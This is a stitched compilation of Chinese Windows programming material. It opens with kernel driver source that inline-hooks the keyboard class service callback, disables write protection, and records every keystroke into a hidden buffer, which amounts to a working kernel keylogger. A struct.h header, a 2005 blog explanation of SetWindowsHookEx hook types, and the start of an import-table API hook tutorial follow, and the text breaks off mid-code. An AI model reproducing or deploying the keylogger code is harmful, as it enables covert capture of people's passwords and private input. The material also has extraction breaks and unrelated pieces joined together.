RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );
KeLowerIrql(oldIrql);
WPON();
g_bHooked = FALSE;
}
//
// 開始 inline hook -- OldFunction
//
VOID HookOldFunction ()
{
KIRQL oldIrql;
if (g_OldFunction == 0) {
DbgPrint("OldFunction == NULL\n");
return;
}
//DbgPrint("開始 inline hook -- OldFunction\n");
DbgPrint( "OldFunction 的地址 t0x%08x\n", (ULONG)g_OldFunction );
// 保存原函數的前字節內容
RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
*( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction -
(ULONG)g_OldFunction - 5;//★
// 禁止系統寫保護,提高 IRQL 到 DPC
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
*( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//
★
RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改
Proxy_OldFunction 函數頭
RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);
// 恢復寫保護,下降 IRQL
KeLowerIrql(oldIrql);
WPON();
g_bHooked = TRUE;
}
VOID ChangeFake_Function()
{
KIRQL oldIrql;
int i;
ULONG addr=(ULONG)fake_OldFunction;
ULONG code_fill=0xAAAAAAAA;
DbgPrint("fake_OldFunction:%x",addr);
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
for (i=0;i<0x200;i++)
{
if (*((ULONG*)(addr+i))==code_fill)
{
DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
*((ULONG*)(addr+i))=(ULONG)KeyBuf;
}
}
DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i)) );
KeLowerIrql(oldIrql);
WPON();
}
VOID ReadKeyBuf()
{
BYTE Index=*(BYTE*)KeyBuf;
BYTE i,j;
// BYTE _Buf[MAXBUF];
for (i=0;i<MAXBUF;i++)
{
DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
}
}
//
// 跳轉到咱們的函數裏面進行預處理
//
__declspec (naked)
VOID
fake_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
)
{
__asm
{
push eax
push ebx
push ecx
push esi
xor esi,esi
mov eax, [0xAAAAAAAA];
mov ebx, [esp+0x18]
//movzx ecx, word ptr [ebx-20]//+2
mov cl , byte ptr [ebx+2];//按鍵碼
mov ch , byte ptr [eax];//獲得當前位置->ch
cmp ch , MAXBUF
jnz NotLastPlace
mov ch, 0x0;
NotLastPlace:
inc ch
movzx si,ch
mov byte ptr [eax], ch
mov byte ptr [eax+esi],cl
pop esi
pop ecx
pop ebx
pop eax
jmp Proxy_OldFunction ;//★在這一系列 JMP 中,沒有一處使用 CALL,簡化了代碼,
加強了穩定性
}
}
//
// 代理函數,負責跳轉到原函數中繼續執行
//
__declspec (naked)
VOID
Proxy_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
)
{
__asm { // 共字節
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 前字節實現原函數的頭字節功能
_emit 0x90 // 這個填充 jmp
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 這字節保存原函數+5 處的地址
_emit 0x90
_emit 0x90 // 由於是長轉移,因此必須是 0x0080
}
}
//////////////////////////////////////////////////////////////////////////
PVOID
GetModlueBaseAdress(
char* ModlueName,
BOOL bKernelBase
)
{
ULONG size,index;
PULONG buf;
NTSTATUS status;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;
ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
DbgPrint("failed alloc memory failed \n");
return 0;
}
status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status )) {
DbgPrint("failed query\n");
return 0;
}
module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
// 系統模塊基址
if ( TRUE == bKernelBase )
{
driverAddress = module[0].Base;
DbgPrint("KernelBase:%x\n",driverAddress);
goto _x_;
}
// 其餘模塊基址
for (index = 0; index < *buf; index++) {
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset,
ModlueName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x\n",driverAddress);
goto _x_;
}
}
_x_:
ExFreePool(buf);
return driverAddress;
}
ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
//根據特徵值,搜索 OldFunction
ULONG FindOldFunctionAddress()
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrLinkName;
UNICODE_STRING ustrDevName;
PDEVICE_OBJECT pDevObj;
ULONG i, curAddr;
PUCHAR FileContent;
DWORD dwRet,dwSize;
PVOID pTmp;
LARGE_INTEGER timeout;
KEVENT Kevent;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
KEYBOARD_INPUT_DATA kid;
ULONG Addr_OldFunction = 0;
ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec,
code3_sp2=0x65830845,code4_sp2=0x8b530008;
//KbdInit();
g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
DbgPrint("kbdclass.sys: 0x%08lx\n", (PVOID)g_kbdclass_base);
if ( 0 == g_kbdclass_base ) {
DbgPrint("ERROR: g_kbdclass_base == 0\n");
return STATUS_SUCCESS;
}
curAddr = g_kbdclass_base;
// DbgPrint("curAddr: 0x%08lx\n", curAddr);
for (i=curAddr;i<=curAddr+0x2000;i++)
{
// DbgPrint("i: 0x%08lx\n", i);
if (*((ULONG *)i)==code1_sp2) {
if (*((ULONG *)(i+4))==code2_sp2) {
if (*((ULONG *)(i+8))==code3_sp2) {
if (*((ULONG *)(i+12))==code4_sp2) {
g_lpKbdServiceCallback=i;
break ;
}
}
}
}
}
Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
DbgPrint("KeyboardClassServiceCallback: 0x%08lx\n",
(PVOID)g_lpKbdServiceCallback);
//DbgPrint("g_kbDeviceObject: 0x%08lx\n", (PVOID)g_kbDeviceObject);
return Addr_OldFunction;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
UNICODE_STRING strLink;
RtlInitUnicodeString(&strLink, L"\\DosDevices\\devHookKey");
DbgPrint("My Driver Unloaded!");
DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);
ReadKeyBuf();
ExFreePool(KeyBuf);
IoDeleteSymbolicLink(&strLink);
IoDeleteDevice(DriverObject->DeviceObject);
UnHookOldFunction();
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING theRegistryPath )
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrLinkName;
UNICODE_STRING ustrDevName;
DWORD dwSize,dwRet;
PVOID pTmp;
KEYBOARD_INPUT_DATA kid;
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
RtlInitUnicodeString(&ustrDevName, L"\\Device\\devHookKey");
status = IoCreateDevice(theDriverObject,
0,
&ustrDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status)) {
DbgPrint("IoCreateDevice = 0x%x\n", status);
return status;
}
RtlInitUnicodeString(&ustrLinkName, L"\\DosDevices\\devHookKey");
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);
if(!NT_SUCCESS(status)) {
DbgPrint("IoCreateSymbolicLink = 0x%x\n", status);
IoDeleteDevice(pDevObj);
return status;
}
KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
*((BYTE*)KeyBuf)=0x0;
ChangeFake_Function();
g_OldFunction = FindOldFunctionAddress();
HookOldFunction();
return STATUS_SUCCESS;
}
/****************************************************************
***********************
* AUTHOR : sudami [sudami@163.com]
* TIME : 2008/08/13 [13:8:2008 - 13:07]
* MODULE : struct.h
*
* Command:
* 驅動的頭文件
*
*
* Description:
* 定義一些常量,避免重複勞動; 您能夠在此添加須要的函數/結構體
*
***
* Copyright (c) 2008 - 2010 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* TAKE IT EASY,JUST FOR FUN.
*
*****************************************************************
***********************/
#pragma once
#include <ntddk.h>
typedef long LONG;
//typedef unsigned char BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
typedef unsigned long DWORD, *PDWORD;
typedef unsigned short WORD, *PWORD;
//typedef void *HMODULE;
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef BYTE BOOLEAN;
#define SEC_IMAGE 0x01000000
//----------------------------------------------------
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemCpuInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
Unknown4,
SystemProcessInformation = 5,
Unknown6,
Unknown7,
SystemProcessorPerformanceInformation = 8,
Unknown9,
Unknown10,
SystemModuleInformation = 11,
Unknown12,
Unknown13,
Unknown14,
Unknown15,
SystemHandleInformation = 16,
Unknown17,
SystemPageFileInformation = 18,
Unknown19,
Unknown20,
SystemCacheInformation = 21,
Unknown22,
SystemInterruptInformation = 23,
SystemDpcBehaviourInformation = 24,
SystemFullMemoryInformation = 25,
SystemNotImplemented6 = 25,
SystemLoadImage = 26,
SystemUnloadImage = 27,
SystemTimeAdjustmentInformation = 28,
SystemTimeAdjustment = 28,
SystemSummaryMemoryInformation = 29,
SystemNotImplemented7 = 29,
SystemNextEventIdInformation = 30,
SystemNotImplemented8 = 30,
SystemEventIdsInformation = 31,
SystemCrashDumpInformation = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemCurrentTimeZoneInformation = 44,
SystemTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemSetTimeSlipEvent = 46,
SystemCreateSession = 47,
SystemDeleteSession = 48,
SystemInvalidInfoClass4 = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemAddVerifier = 52,
SystemSessionProcessesInformation = 53,
SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
typedef struct {
DWORD dwNumberOfModules;
SYSTEM_MODULE_INFORMATION smi;
} MODULES, *PMODULES;
// PEB
#pragma pack(4)
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
#pragma pack()
typedef struct _PEB_ORIG {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[229];
PVOID Reserved3[59];
ULONG SessionId;
} PEB_ORIG, *PPEB_ORIG;
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);
struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK *Next;
ULONG Size;
};
typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID *KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID **ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SpareUl2;
ULONG SpareUl3;
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
ULONG PrivatePageCount;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
typedef struct _HANDLE_TABLE_ENTRY_INFO
{
ULONG AuditMask;
} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;
typedef struct _HANDLE_TABLE_ENTRY
{
union
{
PVOID Object;
ULONG_PTR ObAttributes;
PHANDLE_TABLE_ENTRY_INFO InfoTable;
ULONG_PTR Value;
};
union
{
ULONG GrantedAccess;
struct
{
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TABLE
{
ULONG TableCode;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
ULONG HandleTableLock[4];
LIST_ENTRY HandleTableList;
ULONG HandleContentionEvent;
PVOID DebugInfo;
LONG ExtraInfoPages;
ULONG FirstFree;
ULONG LastFree;
ULONG NextHandleNeedingPool;
LONG HandleCount;
union
{
ULONG Flags;
UCHAR StrictFIFO:1;
};
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN CaseInsensitive;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
typedef struct _OBJECT_TYPE {
ERESOURCE Mutex;
LIST_ENTRY TypeList;
UNICODE_STRING Name; // Copy from object header for convenience
PVOID DefaultObject;
ULONG Index;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
OBJECT_TYPE_INITIALIZER TypeInfo;
ULONG Key;
ERESOURCE ObjectLocks[4];
} OBJECT_TYPE, *POBJECT_TYPE;
typedef struct _OBJECT_DIRECTORY {
struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
ULONG Lock;
PVOID DeviceMap;
ULONG SessionId;
USHORT Reserved;
USHORT SymbolicLinkUsageCount;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
/*
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
*/
typedef enum
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
} KAPC_ENVIRONMENT;
//int swprintf( wchar_t *, const wchar_t *, ... );
int wsprintf( PWSTR buffer, PCWSTR spec, ... );
//----------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
NTSTATUS
NtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
NTSTATUS
ZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
);
NTSTATUS
PsLookupProcessByProcessId(
IN HANDLE ProcessId,
OUT PEPROCESS *Process
);
HANDLE
PsGetProcessId(
IN PEPROCESS Process
);
NTSTATUS
RtlFormatCurrentUserKeyPath(
OUT PUNICODE_STRING CurrentUserKeyPath
);
VOID KeAttachProcess( PEPROCESS proc );
VOID KeDetachProcess();
NTSTATUS
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *Object
);
//////////////////////////////////////////////////////////////////////////
// 寫保護的開&關
void WPOFF();
void WPON();
windows vc 編程---hook[鉤子]
fazi 發表於 2005-10-31 9:07:00
2
推薦
hook 是 WINDOWS 提供的一種消息處理機制,它使得程序員能夠使用子過程來監視系統消息,
並在消息到達目標過程前獲得處理。
下面將介紹 WINNDOWS HOOKS 而且說明如何在 WINDOWS 程序中使用它。
關於 HOOKS
使用 HOOK 將會下降系統效率,由於它增長了系統處量消息的工做量。建議在必要時才使用 H
OOK,並在消息處理完成後當即移去該 HOOK。
HOOK 鏈
WINDOWS 提供了幾種不一樣類型的 HOOKS;不一樣的 HOOK 能夠處理不一樣的消息。例如,WH
_MOUSE HOOK 用來監視鼠標消息。
WINDOWS 爲這幾種 HOOKS 維護着各自的 HOOK 鏈。HOOK 鏈是一個由應用程序定義的回
調函數隊列,當某種類型的消息發生時,WINDOWS 向此種類型的 HOOK 鏈的第一個函數發
送該消息,在第一函數處理完該消息後由該函數向鏈表中的下一個函數傳遞消息,依次向下。如
果鏈中某個函數沒有向下傳送該消息,那麼鏈表中後面的函數將得不到此消息。(對於某些類型
的 HOOK,無論 HOOK 鏈中的函數是否向下傳遞消息,與此類型 HOOK 聯繫的全部 HOOK 函
數都會收到系統發送的消息)
HOOK 過程
爲了攔截特定的消息,你能夠使用 SetWindowsHookEx 函數在該類型的 HOOK 鏈中安裝你自
己的 HOOK 函數。該函數語法以下:
public function MyHook(nCode,wParam,iParam) as long
„加入代碼
end function
其中 MyHook 能夠隨便命名,其它不能變。該函數必須放在模塊段。nCode 指定 HOOK 類型。
wParam,iParam 的取值隨 nCode 不一樣而不一樣,它表明了某種類型的 HOOK 的某個特定的動
做。
SetWindowsHookEx 老是將你的 HOOK 函數放置在 HOOK 鏈的頂端。你能夠使用 CallNext
HookEx 函數將系統消息傳遞給 HOOK 鏈中的下一個函數。
[註釋]對於某些類型的 HOOK,系統將向該類的全部 HOOK 函數發送消息,這時,HOOK 函數
中的 CallNextHookEx 語句將被忽略。
全局 HOOK 函數能夠攔截系統中全部線程的某個特定的消息(此時該 HOOK 函數必須放置在 D
LL 中),局部 HOOK 函數能夠攔截指定線程的某特定消息(此時該 HOOK 函數能夠放置在 D
LL 中,也能夠放置在應用程序的模塊段)。
[註釋] 建議只在調試時使用全局 HOOK 函數。全局 HOOK 函數將下降系統效率,而且會同其
它使用該類 HOOK 的應用程序產生衝突。
HOOK 類型
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 能夠監視 SendMessage 發送
的消息。系統在向窗體過程發送消息前,將調用 WH_CALLWNDPROC;在窗體過程處理完該
消息後系統將調用 WH_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK 會向 HOOK 過程傳送一個 CWPRETSTRUCT 結構的地址。
該結構包含了窗體過程處理系統消息後的一些信息。
WH_CBT Hook
系統在激活,建立,消毀,最小化,最大化,移動,改變窗體前;在完成一條系統命令前;在從
系統消息隊列中移去鼠標或鍵盤事件前;在設置輸入焦點前,或同步系統消息隊列前,將調用
WH_CBT HOOK。你能夠在你的 HOOK 過程攔截該類 HOOK,並返回一個值,告訴系統,是
否繼續執行上面的操做。
WH_DEBUG HOOK
系統在調用與某種 HOOK 類型聯繫的 HOOK 過程前,將調用 WH_DEBUG ,應用程序能夠使
用該 HOOK 決定是否讓系統執行某種類型的 HOOK。
WH_FOREGROUNDIDLE Hook
系統在空閒時調用該 HOOK,在後臺執行優先權較低的應用程序。
WH_GETMESSAGE Hook
WH_GETMESSAGE Hook 使應用程序能夠攔截 GetMessage 或 PeekMessage 的消息。應
用程序使用 WH_GETMESSAGE HOOK 監視鼠標、鍵盤輸入和發送到隊列中的其它消息。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 使應用程序能夠監視輸入事件。典型地,應用程序使用該 HO
OK 記錄鼠標、鍵盤輸入事件以供之後回放。該 HOOK 是全局 HOOK,而且不能在指定線程中
使用。
WH_JOURNALPLAYBACK Hook
` WH_JOURNALPLAYBACK Hook 使應用程序能夠向系統消息隊列中插入消息。該 HOOK
能夠回放之前由 WH_JOURNALRECORD HOOK 錄製的鼠標、鍵盤輸入事件。在 WH_JOUR
NALPLAYBACK Hook 安裝到系統時,鼠標、鍵盤輸入事件將被屏蔽。該 HOOK 一樣是一個
全局 HOOK,不能在指定線程中使用。
WH_JOURNALPLAYBACK Hook 返回一個時間暫停值,它告訴系統,在處理當前回放的消息
時,系統等待百分之幾秒。這使得此 HOOK 能夠控制在回放時的時間事件。
WH_KEYBOARD Hook
WH_KEYBOARD Hook 使應用程序能夠監視由 GetMessage 和 PeekMessage 返回的 WM_
KEYDOWN 及 WM_KEYUP 消息。應用程序使用該 HOOK 監視發送到消息隊列中的鍵盤輸入。
WH_MOUSE Hook
WH_MOUSE Hook 使應用程序能夠監視由 GetMessage 和 PeekMessage 返回的消息。應
用程序使用該 HOOK 監視發送到消息隊列中的鼠標輸入。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使應用程序能夠監視菜單、滾動條、消息
框、對話框,當用戶使用 ALT+TAB 或 ALT+ESC 來切換窗體時,該 HOOK 也能夠攔截到消息。
WH_MSGFILTER 僅在應用程序內部監視菜單、滾動條、消息框、對話框,而 WH_SYSMSGF
ILTER 則能夠在系統內監視全部應用程序的這些事件。
WH_SHELL Hook
一個 SHELL 程序能夠使用 WH_SHELL Hook 來接收重要的信息。當一個 SHELL 程序被激活
前或當前窗體被建立、消毀時,系統會調用 WH_SHELL Hook 過程。
跨進程 API Hook(初稿)
跨進程 API Hook(初稿)
什麼是「跨進程 API Hook」?
衆所周知 Windows 應用程序的各類系統功能是經過調用 API 函數來實現。API Hook 就是給系統的 API
附加上一段小程序,它能監視甚至控制應用程序對 API 函數的調用。所謂跨進程也就是讓本身的程序來控
制別人程序的 API 調用了。
API Hook 理論
通 過對 Win32 PE 文件的分析(若是你還不熟悉 PE 文件格式,能夠看看 Iczelion 的 PE 教程或者
LUEVELSMEYER 的<>)。 咱們知道在 PE 文件中的 IMPORT TABLE 內存儲着 API 函數的不少信息。其
中包括 API 的函數名,調用地址等等。而操做系統在執行 PE 文件時會先 將其映射到內存中。在映射的同
時還會把當前版本操做系統中 API 函數的入口地址寫入 IMPORT TABLE 中一組與 API 調用相關的結構體
內,用於該應 用程序的 API 調用。 當應用程序調用 API 時,他會在本身內存映像裏尋找 API 的入口地址,
而後執行 CALL 指令。如此一來,咱們經過修改應用程序內存 映像的 IMPORT TABLE 中 API 函數的入口
地址,就能夠達到重定向 API 的目的。將 API 地址改成咱們本身函數的地址,這樣咱們的函數就能夠完成
對 API 的監視和控制了。
API Hook 的實現
/* 1 */HANDLE hCurrent = GetModuleHandle(NULL);
/* 2 */IMAGE_DOS_HEADER *pidh;
/* 3 */IMAGE_NT_HEADERS *pinh;
/* 4 */IMAGE_DATA_DIRECTORY *pSymbolTable;
/* 5 */IMAGE_IMPORT_DESCRIPTOR *piid;
/* 6 */pidh = (IMAGE_DOS_HEADER *)hCurrent;
/* 7 */pinh = (IMAGE_NT_HEADERS *)((DWORD)hCurrent + pidh->e_lfanew);
/* 8 */pSymbolTable = &pinh->OptionalHeader.DataDirectory[1];
/* 9 */piid =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)hCurrent + pSymbolTable->VirtualAddres
s);
/*10 */do {
/*11 */ IMAGE_THUNK_DATA *pitd,*pitd2;
